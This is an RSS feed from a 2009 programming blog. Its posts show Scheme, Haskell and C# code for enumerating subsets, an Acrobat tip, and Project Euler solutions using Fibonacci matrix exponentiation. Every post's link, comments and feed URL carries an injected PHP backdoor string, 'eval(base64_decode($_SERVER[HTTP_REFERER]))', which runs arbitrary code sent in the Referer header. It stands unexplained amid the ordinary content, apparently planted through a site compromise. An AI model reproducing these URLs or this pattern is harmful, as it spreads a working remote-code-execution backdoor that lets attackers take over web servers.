			<wfw:commentRss>http://lakhturov.info/2009/07/08/speed-dial-in-opera-100/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>All subsets of a set</title>
		<link>http://lakhturov.info/2009/07/02/all-subsets-of-a-set/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/07/02/all-subsets-of-a-set/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 14:34:44 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[misc]]></category>

		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=188</guid>
		<description><![CDATA[As I already posted in Scheme, a function computing all subsets of a set would be:



#!r6rs


&#40;import &#40;rnrs&#41;&#41;


&#160;


&#40;define &#40;subsets set&#41;


&#160; &#40;define &#40;recursion set rest&#41; &#40;if &#40;null? set&#41; &#40;list rest&#41;


&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#40;let &#40;&#91;head &#40;car set&#41;&#93; &#91;tail &#40;cdr set&#41;&#93;&#41;


&#160; &#160; &#160; &#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>As I already posted in Scheme, a function computing all subsets of a set would be:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">#!r6rs</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>import <span class="br0">&#40;</span>rnrs<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>subsets set<span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>recursion set rest<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> set<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">list</span> rest<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>head <span class="br0">&#40;</span><span class="kw1">car</span> set<span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#91;</span>tail <span class="br0">&#40;</span><span class="kw1">cdr</span> set<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">append</span> <span class="br0">&#40;</span>recursion tail rest<span class="br0">&#41;</span> <span class="br0">&#40;</span>recursion tail <span class="br0">&#40;</span><span class="kw1">cons</span> head rest<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span>recursion set &#8216;<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#40;</span><span class="kw1">display</span> <span class="br0">&#40;</span>subsets &#8216;<span class="br0">&#40;</span>a b c <span class="kw1">d</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>The same in Haskell:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">s = <span class="st0">&quot;abcd&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">subsets s = ssets <span class="br0">&#40;</span>s<span class="br0">&#41;</span> <span class="br0">&#91;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">ssets <span class="br0">&#91;</span><span class="br0">&#93;</span> r = <span class="br0">&#91;</span><a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:reverse"><span class="kw3">reverse</span></a><span class="br0">&#40;</span>r<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">ssets <span class="br0">&#40;</span>x:xx<span class="br0">&#41;</span> r = ssets xx r ++ ssets xx <span class="br0">&#40;</span>x:r<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">main = <span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:putStrLn"><span class="kw3">putStrLn</span></a> <span class="st0">&quot; Set: &quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:print"><span class="kw3">print</span></a> s</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:putStrLn"><span class="kw3">putStrLn</span></a> <span class="st0">&quot; Subsets: &quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:print"><span class="kw3">print</span></a> <span class="br0">&#40;</span>subsets s<span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>For imperative languages I&#8217;d rather prefer bitwise approach. Here is in C#:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">using</span> <span class="kw5">System</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">namespace</span> Subsets</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="kw4">class</span> Program</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">static</span> <span class="kw1">void</span> Main<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">string</span> elements = <span class="st0">&quot;abcd&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">ulong</span> i = <span class="nu0">0</span>; i &lt; Math.<span class="me1">Pow</span><span class="br0">&#40;</span><span class="nu0">2</span>, elements.<span class="me1">Length</span><span class="br0">&#41;</span>; i++<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">ulong</span> set = i;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> j = <span class="nu0">0</span>; j &lt; elements.<span class="me1">Length</span>; j++, set &gt;&gt;= <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>set &amp; 0&#215;01<span class="br0">&#41;</span> == <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.<span class="me1">Write</span><span class="br0">&#40;</span>elements<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.<span class="me1">WriteLine</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/07/02/all-subsets-of-a-set/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to remove &#8220;Please wait while the document is being prepared for reading&#8221; message in Acrobat</title>
		<link>http://lakhturov.info/2009/05/30/how-to-remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-acrobat/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/05/30/how-to-remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-acrobat/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 30 May 2009 20:25:43 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[bug]]></category>

		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=186</guid>
		<description><![CDATA[It really bothered me. So, I googled. All links give the same solution: one, two, three.
]]></description>
			<content:encoded><![CDATA[<p>It really bothered me. So, I googled. All links give the same solution: <a href="http://www.howtogeek.com/howto/windows/remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-adobe-reader-8/">one</a>, <a href="http://www.techtalkz.com/blog/adobe-reader-tips/how-to-remove-the-adobe-reader-8-please-wait-while-the-document-is-being-prepared-message.html">two</a>, <a href="http://p163.sg/blog/please-wait-while-document-is-prepared-for-reading">three</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/05/30/how-to-remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-acrobat/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Problem 3: a note</title>
		<link>http://lakhturov.info/2009/05/05/problem-3-a-note/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/05/05/problem-3-a-note/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 May 2009 19:49:54 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[projecteuler]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=183</guid>
		<description><![CDATA[Find the largest prime factor of a composite number.
The problem of integer factorization is one of the most important in the number theory. Last time I implemented a classical algorithm with  complexity. The author of the Project Euler website suggests a small improvement &#8212; iterating over only odd numbers, but I consider this as [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest prime factor of a composite number.</p></blockquote>
<p>The problem of integer factorization is one of the most important in the number theory. Last time I implemented a classical algorithm with <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_f0cec2c61cfb093e31e962bc7de4dd55.png" align="absmiddle" class="tex" alt="O(\sqrt{n})" /> complexity. The author of the Project Euler website suggests a small improvement &#8212; iterating over only odd numbers, but I consider this as too tiny thing to do.</p>
<p>As regards the problem of factorization, I&#8217;d rather look in special literature, what are the known approaches (and I&#8217;ll do that later, let&#8217;s switch to the next one).</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/05/05/problem-3-a-note/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Problem 2 ver. 2, 3, 4: logarithmic complexity</title>
		<link>http://lakhturov.info/2009/04/17/problem-2-ver-2-3-4-logarithmic-complexity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/04/17/problem-2-ver-2-3-4-logarithmic-complexity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 12:22:47 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[projecteuler]]></category>

		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=171</guid>
		<description><![CDATA[Find the sum of all the even-valued terms in the Fibonacci sequence which do not exceed four million
The last time we had the straightforward O(n) solution: building a sequence, filtering out even values and adding them. We can improve a bit, noticing that actually, every third member of the Fibonacci sequence is even. We don&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the sum of all the even-valued terms in the Fibonacci sequence which do not exceed four million</p></blockquote>
<p>The last time we had the straightforward O(n) solution: building a sequence, filtering out even values and adding them. We can improve a bit, noticing that actually, every third member of the Fibonacci sequence is even. We don&#8217;t check then for evennes, but just jump over three components each time. This version 2 (I don&#8217;t publish it here) should be several times faster, but still is O(n) in performance.</p>
<p>We can also express a member of the Fibonacci sequence via the third and sixth members from behind: <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_982b593a70d1940adfa03e14336e39df.png" align="absmiddle" class="tex" alt="F_{n} = 4 F_{n-3} + F_{n-6}" /> and compute those values as the values of a new sequence: <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_a666245a606d5cac73b035254534586a.png" align="absmiddle" class="tex" alt="E_n = 4 E_{n-1} + E_{n-2}" />. This version 3 is essentially the same as the previous one and again, I don&#8217;t publish it here.</p>
<p>The drastic improvement is obtained using the expression <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_bb6a1481e8981ddd05d1fc22decb9ee3.png" align="absmiddle" class="tex" alt="\sum_{k=0}^{n} F_{3k} = \frac{F_{3n+2}-1}{2}" /> (I&#8217;ve <a href="http://en.wikipedia.org/w/index.php?title=Fibonacci_number&#038;diff=prev&#038;oldid=284215763">added</a> it and a proof to the wikipedia article, but they immediately reverted my changes as &#8220;unsourced&#8221; &#8212; this is pathetic). Now the sum is obtained just computing one Fibonacci member, and this can be done with O(log n).</p>
<p>Indeed, we can compute a Fibonacci member exponentiating <a href="http://en.wikipedia.org/wiki/Fibonacci_number#Matrix_form">the appropriate matrix</a>, and this exponentiation, just like usual one, can be done with O(log n). I prefer this solution over using the golden ratio exponentiation formula (again logarithmic complexity), because only integer-operations are involved. So, this is the version 4 of the solution.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>fibonacci-member-logarithmic n<span class="br0">&#41;</span> <span class="br0">&#40;</span>matrix-2d-a12 <span class="br0">&#40;</span>^-2d fibonacci-matrix n<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>fibonacci-sum-even n<span class="br0">&#41;</span> <span class="br0">&#40;</span>/ <span class="br0">&#40;</span>- <span class="br0">&#40;</span>fibonacci-member-logarithmic <span class="br0">&#40;</span>+ n <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>I quickly outlined a class for 2D matrices and operations with it:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>define-record-type matrix-2d <span class="br0">&#40;</span>fields a11 a12 a21 a22<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> identity-matrix-2d <span class="br0">&#40;</span>make-matrix-2d <span class="nu0">1</span> <span class="nu0">0</span> <span class="nu0">0</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> fibonacci-matrix <span class="br0">&#40;</span>make-matrix-2d <span class="nu0">1</span> <span class="nu0">1</span> <span class="nu0">1</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>*-2d A B<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>a11 <span class="br0">&#40;</span>matrix-2d-a11 A<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>a12 <span class="br0">&#40;</span>matrix-2d-a12 A<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>a21 <span class="br0">&#40;</span>matrix-2d-a21 A<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>a22 <span class="br0">&#40;</span>matrix-2d-a22 A<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>b11 <span class="br0">&#40;</span>matrix-2d-a11 B<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>b12 <span class="br0">&#40;</span>matrix-2d-a12 B<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>b21 <span class="br0">&#40;</span>matrix-2d-a21 B<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>b22 <span class="br0">&#40;</span>matrix-2d-a22 B<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>make-matrix-2d <span class="br0">&#40;</span>+ <span class="br0">&#40;</span>* a11 b11<span class="br0">&#41;</span> <span class="br0">&#40;</span>* a12 b21<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>+ <span class="br0">&#40;</span>* a11 b12<span class="br0">&#41;</span> <span class="br0">&#40;</span>* a12 b22<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>+ <span class="br0">&#40;</span>* a21 b11<span class="br0">&#41;</span> <span class="br0">&#40;</span>* a22 b21<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>+ <span class="br0">&#40;</span>* a21 b12<span class="br0">&#41;</span> <span class="br0">&#40;</span>* a22 b22<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>^-2d-linear A n<span class="br0">&#41;</span> <span class="br0">&#40;</span>apply-n-times identity-matrix-2d n <span class="br0">&#40;</span><span class="kw1">lambda</span> <span class="br0">&#40;</span>x<span class="br0">&#41;</span> <span class="br0">&#40;</span>*-2d x A<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>^-2d-logarithmic A n<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>= n <span class="nu0">0</span><span class="br0">&#41;</span> identity-matrix-2d</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">odd?</span> n<span class="br0">&#41;</span> <span class="br0">&#40;</span>*-2d A <span class="br0">&#40;</span>^-2d-logarithmic A <span class="br0">&#40;</span>- n <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>B <span class="br0">&#40;</span>^-2d-logarithmic A <span class="br0">&#40;</span>div n <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>*-2d B B<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> ^-2d ^-2d-logarithmic<span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>The solution is O(1) in memory and O(log n) in performance - of course, where n denotes the index of a number in the Fibonacci sequence. And we have been questioned about the cutset, where members of a sequence are less than certain number. Then an additional function (closest-fibonacci-index) comes in handy (<a href="http://en.wikipedia.org/wiki/Fibonacci_number#Recognizing_Fibonacci_numbers">see the wiki</a> for explanation):</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> golden-ratio <span class="br0">&#40;</span>/ <span class="br0">&#40;</span>+ <span class="nu0">1</span> <span class="br0">&#40;</span><span class="kw1">sqrt</span> <span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>closest-fibonacci-index <span class="kw1">f</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>round <span class="br0">&#40;</span><span class="kw1">log</span> <span class="br0">&#40;</span>* <span class="kw1">f</span> <span class="br0">&#40;</span><span class="kw1">sqrt</span> <span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span> golden-ratio<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>solution<span class="nu0">-2</span>-optimized<span class="nu0">-3</span> n<span class="br0">&#41;</span> <span class="br0">&#40;</span>fibonacci-sum-even <span class="br0">&#40;</span>closest-fibonacci-index n<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>The final touch is asking ourselves about complexity of the (log) function. Well, it can be computed fast enough not to spoil complexity of the algo&#8217;s main part.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/04/17/problem-2-ver-2-3-4-logarithmic-complexity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Problem 1 ver. 3: optimization</title>
		<link>http://lakhturov.info/2009/04/05/problem-1-ver-3-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lakhturov.info/2009/04/05/problem-1-ver-3-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 13:20:02 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[projecteuler]]></category>

		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=125</guid>
		<description><![CDATA[Find the sum of all the multiples of 3 or 5 below 1000.
Let us generalize again to a finite set of factors.
There is a formula for the power of finite sets  which can be generalized to a finite number of finite sets  or in a somewhat less understandable, but concise notation 
Here  [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the sum of all the multiples of 3 or 5 below 1000.</p></blockquote>
<p>Let us generalize again to a finite set of factors.</p>
